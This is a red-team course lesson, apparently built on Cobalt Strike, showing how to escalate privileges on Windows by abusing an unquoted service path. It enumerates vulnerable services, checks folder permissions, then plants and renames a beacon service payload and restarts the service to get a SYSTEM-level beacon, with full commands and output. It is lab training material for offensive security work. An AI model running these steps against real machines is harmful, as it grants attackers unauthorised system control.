Unquoted Service Paths
An unquoted service path is where the path to the service binary is not wrapped in quotes. Why is that a problem? By itself it's not, but under specific conditions it can lead to an elevation of privilege.
WMI can be used to pull a list of every service and the path to its executable. Here are some examples:
beacon> run wmic service get name, pathname
Name PathName
ALG C:\Windows\System32\alg.exe
AppVClient C:\Windows\system32\AppVClient.exe
Sense "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
[...snip...]
VulnService1 C:\Program Files\Vulnerable Services\Service 1.exe
\
We can see that the paths for ALG and AppVClient are not quoted, but the path for Sense is. The difference is that this latter path has spaces in them. VulnService1 has spaces in the path and is also not quoted - this is condition #1 for exploitation.
When Windows attempts to read the path to this executable, it interprets the space as a terminator. So, it will attempt to execute the following (in order):
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Services\Service.exe
If we can drop a binary into any of those paths, the service will execute it before the real one. Of course, there's no guarantee that we have permissions to write into either of them - this is condition #2.
The PowerShell Get-Acl
cmdlet will show the permissions of various objects (including files and directories).
beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services" | fl
Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files\Vulnerable Services
Owner : BUILTIN\Administrators
Group : DEV\Domain Users
Access : BUILTIN\Users Allow CreateFiles, Synchronize
NT SERVICE\TrustedInstaller Allow FullControl
NT SERVICE\TrustedInstaller Allow 268435456
NT AUTHORITY\SYSTEM Allow FullControl
NT AUTHORITY\SYSTEM Allow 268435456
BUILTIN\Administrators Allow FullControl
BUILTIN\Administrators Allow 268435456
BUILTIN\Users Allow ReadAndExecute, Synchronize
BUILTIN\Users Allow -1610612736
CREATOR OWNER Allow 268435456
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -1610612736
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow -1610612736
Audit :
Sddl : O:BAG:DUD:AI(A;;0x100002;;;BU)(A;ID;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;CII
OID;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;I
D;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;ID;0x1200a9;;;BU)(A;OICIIOID;GXGR;;;BU)(A;OICIIOID;GA;;;CO)(A;ID;0x1200a9;;;A
C)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIOID;GXGR;;;S-1-15-2-2)
\
We can see from the output that BUILTIN\Users have CreateFiles privilege on the C:\Program Files\Vulnerable Services
directory, which means we can upload a malicious binary to hijack this unquoted path.
SharpUp will also list any services that match these conditions.
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath
=== SharpUp: Running Privilege Escalation Checks ===
=== Services with Unquoted Paths ===
Service 'VulnService1' (StartMode: Automatic) has executable 'C:\Program Files\Vulnerable Services\Service 1.exe', but 'C:\Program Files\Vulnerable Services\Service' is modifable.
\
Payloads to abuse services must be specific "service binaries", because they need to interact with the Service Control Manager. When using the "Generate All Payloads" option, these have svc in the filename.
I recommend the use of TCP beacons bound to localhost only for privilege escalations.
\
beacon> cd C:\Program Files\Vulnerable Services
beacon> ls
Size Type Last Modified Name
---- ---- ------------- ----
5kb fil 02/23/2021 15:04:13 Service 1.exe
5kb fil 02/23/2021 15:04:13 Service 2.exe
5kb fil 02/23/2021 15:04:13 Service 3.exe
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe
beacon> ls
Size Type Last Modified Name
---- ---- ------------- ----
5kb fil 02/23/2021 15:04:13 Service 1.exe
5kb fil 02/23/2021 15:04:13 Service 2.exe
5kb fil 02/23/2021 15:04:13 Service 3.exe
290kb fil 03/03/2021 11:11:27 Service.exe
beacon> run sc stop VulnService1
SERVICE_NAME: VulnService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
beacon> run sc start VulnService1
SERVICE_NAME: VulnService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 4384
FLAGS :
\
Standard users cannot stop or start services by default, so you would usually need to wait for a computer reboot. This privilege has been granted in the lab for quality of life.
\
When you start the service, you'll see its state will be START_PENDING. If you then check its status with sc query VulnService1
, you'll see it will be STOPPED. This is by design. You will also not see a Beacon appear in the UI automatically. But you should see the port you used in your TCP listener configuration (in my case 4444) is now listening on 127.0.0.1.
beacon> run netstat -anp tcp
[...snip...]
TCP 127.0.0.1:4444 0.0.0.0:0 LISTENING
\
The Beacon is waiting for us to connect to it, which we do with the connect
command.
beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102
\

\
To restore the service, simply delete Service.exe
and restart the service.
Last updated